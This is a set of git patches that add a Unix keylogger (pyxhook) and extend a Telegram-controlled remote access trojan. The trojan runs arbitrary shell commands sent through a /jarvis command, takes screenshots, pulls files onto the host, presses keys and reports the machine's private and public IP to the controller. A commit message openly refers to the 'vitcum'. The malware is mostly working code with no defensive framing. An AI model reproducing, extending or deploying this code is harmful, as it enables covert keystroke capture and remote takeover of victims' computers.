From 48cb89c23c8a9c267b82d3da0676ec9b040fbdce Mon Sep 17 00:00:00 2001 From: hack505 Date: Thu, 14 Mar 2024 16:15:23 +0530 Subject: [PATCH 1/3] basic keylogger [https://www.geeksforgeeks.org/design-a-keylogger-in-python/] --- keylogger_Unix.py | 63 +++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) create mode 100644 keylogger_Unix.py diff --git a/keylogger_Unix.py b/keylogger_Unix.py new file mode 100644 index 0000000..0b3212e --- /dev/null +++ b/keylogger_Unix.py @@ -0,0 +1,63 @@ +import pyxhook +import threading +import time + +# Global variable to store the captured keys +captured_keys = [] +# foasjdfa;sjfla;sjflaj kajsdf;lkjefj +# Event to stop key capturing +stop_event = threading.Event() + +# Function to capture keys for a specified duration and return the log as a string + + +def capture_keys_for_duration(duration): + global captured_keys + global stop_event + + # create a hook manager object + hook_manager = pyxhook.HookManager() + + # Function to handle key press events + def on_key_press(event): + if event.Ascii == 96: # Change the cancel key as needed + stop_event.set() + else: + captured_keys.append(event.Key) + + # Set the key press event handler + hook_manager.KeyDown = on_key_press + + # Set the hook + hook_manager.HookKeyboard() + + try: + # Start the hook manager in a new thread + hook_thread = threading.Thread(target=hook_manager.start) + hook_thread.start() + + # Wait for the specified duration or until the stop event is set + stop_event.wait(duration) + except KeyboardInterrupt: + # User cancelled from command line. + pass + except Exception as ex: + # Write exceptions to the log file, for analysis later. + msg = 'Error while catching events:\n {}'.format(ex) + pyxhook.print_err(msg) + + # Stop the hook manager and join the thread + hook_manager.cancel() + hook_thread.join() + + # Return the captured keys as a string + return ''.join(captured_keys) + + +# Example usage: Capture keys for 10 seconds and print the log +duration = 10 # Set the duration in seconds +log = capture_keys_for_duration(duration) +print('Captured Keys:') +print(log) + +# credit : - https://www.geeksforgeeks.org/design-a-keylogger-in-python/ From d8087d97e6944ab1c4c2b781db63920459f9a283 Mon Sep 17 00:00:00 2001 From: hack505 Date: Fri, 15 Mar 2024 11:14:40 +0530 Subject: [PATCH 2/3] the keylogger script is capturing key events from the X server, including details such as window handle, window name, process name, key pressed, ASCII value, key ID, scan code, and message name. This detailed information is part of the event information provided by the X server when a key event occurs. --- keylogger_Unix.py | 81 +++++++++++++++++++++++++---------------------- mapping.txt | 67 +++++++++++++++++++++++++++++++++++++++ 2 files changed, 111 insertions(+), 37 deletions(-) create mode 100644 mapping.txt diff --git a/keylogger_Unix.py b/keylogger_Unix.py index 0b3212e..f0cf2e5 100644 --- a/keylogger_Unix.py +++ b/keylogger_Unix.py @@ -1,63 +1,70 @@ import pyxhook -import threading import time -# Global variable to store the captured keys +# Global variables captured_keys = [] -# foasjdfa;sjfla;sjflaj kajsdf;lkjefj -# Event to stop key capturing -stop_event = threading.Event() +stop_event = False -# Function to capture keys for a specified duration and return the log as a string +# Function to handle key press events -def capture_keys_for_duration(duration): +def on_key_press(event): global captured_keys - global stop_event + substitution = { + 'Key.enter': '[ENTER]\n', + 'Key.backspace': '[BACKSPACE]', + 'Key.space': ' ', + 'Key.alt_l': '[ALT]', + 'Key.tab': '[TAB]', + 'Key.delete': '[DEL]', + 'Key.ctrl_l': '[CTRL]', + 'Key.left': '[LEFT ARROW]', + 'Key.right': '[RIGHT ARROW]', + 'Key.shift': '[SHIFT]', + '\\x13': '[CTRL-S]', + '\\x17': '[CTRL-W]', + 'Key.caps_lock': '[CAPS LK]', + '\\x01': '[CTRL-A]', + 'Key.cmd': '[WINDOWS KEY]', + 'Key.print_screen': '[PRNT SCR]', + '\\x03': '[CTRL-C]', + '\\x16': '[CTRL-V]' + } - # create a hook manager object - hook_manager = pyxhook.HookManager() + key = str(event).strip('\'') + if key in substitution: + captured_keys.append(substitution[key]) + else: + captured_keys.append(key) - # Function to handle key press events - def on_key_press(event): - if event.Ascii == 96: # Change the cancel key as needed - stop_event.set() - else: - captured_keys.append(event.Key) + if stop_event: + hook_manager.cancel() + return False - # Set the key press event handler - hook_manager.KeyDown = on_key_press +# Function to start capturing keys + + +def start_keylogger(duration): + global stop_event + global captured_keys - # Set the hook + hook_manager = pyxhook.HookManager() + hook_manager.KeyDown = on_key_press hook_manager.HookKeyboard() try: - # Start the hook manager in a new thread - hook_thread = threading.Thread(target=hook_manager.start) - hook_thread.start() - - # Wait for the specified duration or until the stop event is set - stop_event.wait(duration) + hook_manager.start() + time.sleep(duration) except KeyboardInterrupt: - # User cancelled from command line. pass - except Exception as ex: - # Write exceptions to the log file, for analysis later. - msg = 'Error while catching events:\n {}'.format(ex) - pyxhook.print_err(msg) - # Stop the hook manager and join the thread + stop_event = True hook_manager.cancel() - hook_thread.join() - - # Return the captured keys as a string return ''.join(captured_keys) # Example usage: Capture keys for 10 seconds and print the log duration = 10 # Set the duration in seconds -log = capture_keys_for_duration(duration) +log = start_keylogger(duration) print('Captured Keys:') print(log) - -# credit : - https://www.geeksforgeeks.org/design-a-keylogger-in-python/ diff --git a/mapping.txt b/mapping.txt new file mode 100644 index 0000000..6423ded --- /dev/null +++ b/mapping.txt @@ -0,0 +1,67 @@ +# LONG + +mapping = { + 'Key.enter': '[ENTER]\n', + 'Key.backspace': '[BACKSPACE]', + 'Key.space': ' ', + 'Key.alt_l': '[ALT]', + 'Key.alt_r': '[ALT]', + 'Key.tab': '[TAB]', + 'Key.delete': '[DEL]', + 'Key.ctrl_l': '[CTRL]', + 'Key.ctrl_r': '[CTRL]', + 'Key.left': '[LEFT ARROW]', + 'Key.right': '[RIGHT ARROW]', + 'Key.shift': '[SHIFT]', + 'Key.shift_r': '[SHIFT]', + 'Key.caps_lock': '[CAPS LK]', + 'Key.cmd': '[WINDOWS KEY]', + 'Key.print_screen': '[PRNT SCR]', + 'Key.scroll_lock': '[SCROLL LK]', + 'Key.pause': '[PAUSE]', + '\\x03': '[CTRL-C]', + '\\x16': '[CTRL-V]', + '\\x01': '[CTRL-A]', + '\\x08': '[BACKSPACE]', + '\\x09': '[TAB]', + '\\x0a': '[LF]', + '\\x0b': '[VT]', + '\\x0c': '[FF]', + '\\x0d': '[CR]', + '\\x1a': '[SUB]', + '\\x1b': '[ESC]', + '\\x7f': '[DEL]', + '\\x10': '[SHIFT]', + '\\x11': '[CTRL]', + '\\x12': '[ALT]', + '\\x13': '[CTRL-S]', + '\\x17': '[CTRL-W]', + '\\x18': '[CTRL-X]', + '\\x19': '[CTRL-Y]', + '\\x1f': '[CTRL-]', + '\\x7f': '[BACKSPACE]', + '\\t': '[TAB]', + '\\n': '[ENTER]\n', + '\\r': '[ENTER]\n', + '\\x1b[A': '[UP ARROW]', + '\\x1b[B': '[DOWN ARROW]', + '\\x1b[C': '[RIGHT ARROW]', + '\\x1b[D': '[LEFT ARROW]', +} + + +#SHORT + +mapping = { + 'Key.enter': '[ENTER]\n', 'Key.backspace': '[BACKSPACE]', 'Key.space': ' ', + 'Key.alt_l': '[ALT]', 'Key.alt_r': '[ALT]', 'Key.tab': '[TAB]', 'Key.delete': '[DEL]', + 'Key.ctrl_l': '[CTRL]', 'Key.ctrl_r': '[CTRL]', 'Key.left': '[LEFT ARROW]', 'Key.right': '[RIGHT ARROW]', + 'Key.shift': '[SHIFT]', 'Key.shift_r': '[SHIFT]', 'Key.caps_lock': '[CAPS LK]', 'Key.cmd': '[WINDOWS KEY]', + 'Key.print_screen': '[PRNT SCR]', 'Key.scroll_lock': '[SCROLL LK]', 'Key.pause': '[PAUSE]', + '\\x03': '[CTRL-C]', '\\x16': '[CTRL-V]', '\\x01': '[CTRL-A]', '\\x08': '[BACKSPACE]', '\\x09': '[TAB]', + '\\x0a': '[LF]', '\\x0b': '[VT]', '\\x0c': '[FF]', '\\x0d': '[CR]', '\\x1a': '[SUB]', '\\x1b': '[ESC]', + '\\x7f': '[DEL]', '\\x10': '[SHIFT]', '\\x11': '[CTRL]', '\\x12': '[ALT]', '\\x13': '[CTRL-S]', '\\x17': '[CTRL-W]', + '\\x18': '[CTRL-X]', '\\x19': '[CTRL-Y]', '\\x1f': '[CTRL-]', '\\x7f': '[BACKSPACE]', '\\t': '[TAB]', + '\\n': '[ENTER]\n', '\\r': '[ENTER]\n', '\\x1b[A': '[UP ARROW]', '\\x1b[B': '[DOWN ARROW]', + '\\x1b[C': '[RIGHT ARROW]', '\\x1b[D': '[LEFT ARROW]', +} From 4fe0209f3a64e57684f24dd1597177524437fe49 Mon Sep 17 00:00:00 2001 From: hack505 Date: Wed, 14 Aug 2024 18:45:18 +0530 Subject: [PATCH 3/3] Thread has been used in /jarvis (command-Running ) and The reveal of vitcum's public IP.(system_info fuction line .63) Thanks to api.ipify.org --- main.py | 95 +++++++++++++++++++++++++++++++++++++++++++++------------ 1 file changed, 76 insertions(+), 19 deletions(-) diff --git a/main.py b/main.py index 53ebc67..f56996f 100644 --- a/main.py +++ b/main.py @@ -1,3 +1,5 @@ +import requests +import threading from telegram.ext import Updater, CommandHandler, MessageHandler, Filters, CallbackContext from telegram import Update import telegram.ext @@ -14,14 +16,14 @@ # Set up logging -file_name = "app.log" -logging.basicConfig(filename=file_name, level=logging.DEBUG, +LogInFiles = True + +logging.basicConfig(filename="app.log" if LogInFiles else None, level=logging.DEBUG, format='%(asctime)s - %(levelname)s - %(message)s') -logging.info('-'*500) +logging.info('-'*500) if LogInFiles else None # inilazation -Token = "" -ChatId = "" +Token, ChatId = "", "" try: with open("config.json", 'r') as config_file: @@ -61,15 +63,18 @@ def ls(update, context): def system_info(context): try: hostname = socket.gethostname() - ip = socket.gethostbyname(hostname) + private_ip = socket.gethostbyname(hostname) plat = platform.processor() system = platform.system() machine = platform.machine() + response = requests.get('https://api.ipify.org?format=json') + public_ip = response.json()['ip'] SysInfo_str = ( f"System Information:\n\n" f"Hostname: {hostname}\n" - f"IP Address: {ip}\n" + f"Private IP Address: {private_ip}\n" + f"Public IP Address: {public_ip}\n" f"Processor: {plat}\n" f"System: {system}\n" f"Machine: {machine}") @@ -130,10 +135,19 @@ def content(update, context): def screenshot(update, context): try: + if update.message.text > len("/screen "): + afterTime = update.message.text(len("/screen ")) + if type(afterTime) == type(int): # In seconds + time.sleep(afterTime) + else: + pass image_path = take_screenshot() update.message.reply_photo(photo=open(image_path, 'rb')) except Exception as e: update.message.reply_text(f"Error: {e}") + # os.remove(image_path) + # subprocess.run(['rm', image_path]) + # print("deleted image", image_path) logging.error(e) @@ -144,6 +158,7 @@ def admin(update, context): def handle_text(update, context): + pyautogui.FAILSAFE = False try: user_text = update.message.text @@ -170,16 +185,21 @@ def handle_text(update, context): def run_command(update, context): # Get the command from the user's message + def excute_command(command): + try: + # Execute the command using subprocess + result = subprocess.check_output(command, shell=True, text=True) + update.message.reply_text( + f"The Command '{command}' executed successfully:\n{result}") + logging.debug(f"command: {command}") + except subprocess.CalledProcessError as e: + update.message.reply_text(f"Error executing command:\n{e}") + logging.error(f"Error executing command:\n{e}") + command = update.message.text[len('/jarvis '):] - try: - # Execute the command using subprocess - result = subprocess.check_output(command, shell=True, text=True) - update.message.reply_text(f"Command executed successfully:\n{result}") - logging.debug(f"command: {command}") - except subprocess.CalledProcessError as e: - update.message.reply_text(f"Error executing command:\n{e}") - logging.error(f"Error executing command:\n{e}") + thread = threading.Thread(target=excute_command, args=(command,)) + thread.start() def blocker(update, context): @@ -205,7 +225,7 @@ def blocker(update, context): update.message.reply_text(f"Error while blocking: \n{e}") -def download_file(update, context): +def download_file_unpluged(update, context): try: # Get the file ID from the message file_id = update.message.document.file_id @@ -228,6 +248,32 @@ def download_file(update, context): logging.error(e) +def download_file(update, context): + try: + # Get the file ID from the message + file_id = update.message.document.file_id + + # Get information about the file using its ID + file_info = context.bot.get_file(file_id) + + # Extract original filename + original_file_name = file_info.file_path.split('/')[-1] + + # Download the file with the original filename + downloaded_file = file_info.download(custom_path=original_file_name) + + # Reply to the user with the download path and file name + update.message.reply_text( + f"File '{original_file_name}' downloaded successfully.") + logging.debug( + f"File '{original_file_name}' downloaded successfully.") + + except Exception as e: + error_message = f"Error occurred while downloading file: {e}" + update.message.reply_text(error_message) + logging.error(error_message, exc_info=True) + + def press_key(update, context): try: # Extract the keyour_context_variabley combination after the /presskey command @@ -307,8 +353,19 @@ def edit_message(update, context): except Exception as e: update.message.reply_text(f"Error: {e}") -# Main handlers +def disturb(update, context): + try: + argument = update.message.text[len("/disturb "):] + if argument: + arguments = argument.split() + update.message.reply_text(arguments) + + except Exception as e: + update.message.reply_text(f"Error: {e}") + + +# Main handlers updater = telegram.ext.Updater(Token, use_context=True) @@ -323,7 +380,6 @@ def edit_message(update, context): disp.add_handler(telegram.ext.MessageHandler( telegram.ext.Filters.document, download_file)) disp.add_handler(telegram.ext.CommandHandler('yo', yo)) -# disp.add_handler(telegram.ext.CommandHandler('yo', yo)) disp.add_handler(telegram.ext.CommandHandler('press', press_key)) disp.add_handler(telegram.ext.MessageHandler( telegram.ext.Filters.regex("arrow"), arrow_key)) @@ -332,9 +388,10 @@ def edit_message(update, context): disp.add_handler(CommandHandler("cd", cd)) disp.add_handler(CommandHandler("ls", ls)) disp.add_handler(CommandHandler("blocker", blocker)) +disp.add_handler(CommandHandler("disturb", disturb)) disp.add_handler(telegram.ext.MessageHandler( - telegram.ext.Filters.text, handle_text)) # biggest problem was due to this line which was initially placed inline 319 therefore the handers after this were not working + telegram.ext.Filters.text, handle_text)) updater.job_queue.run_once(system_info, 0)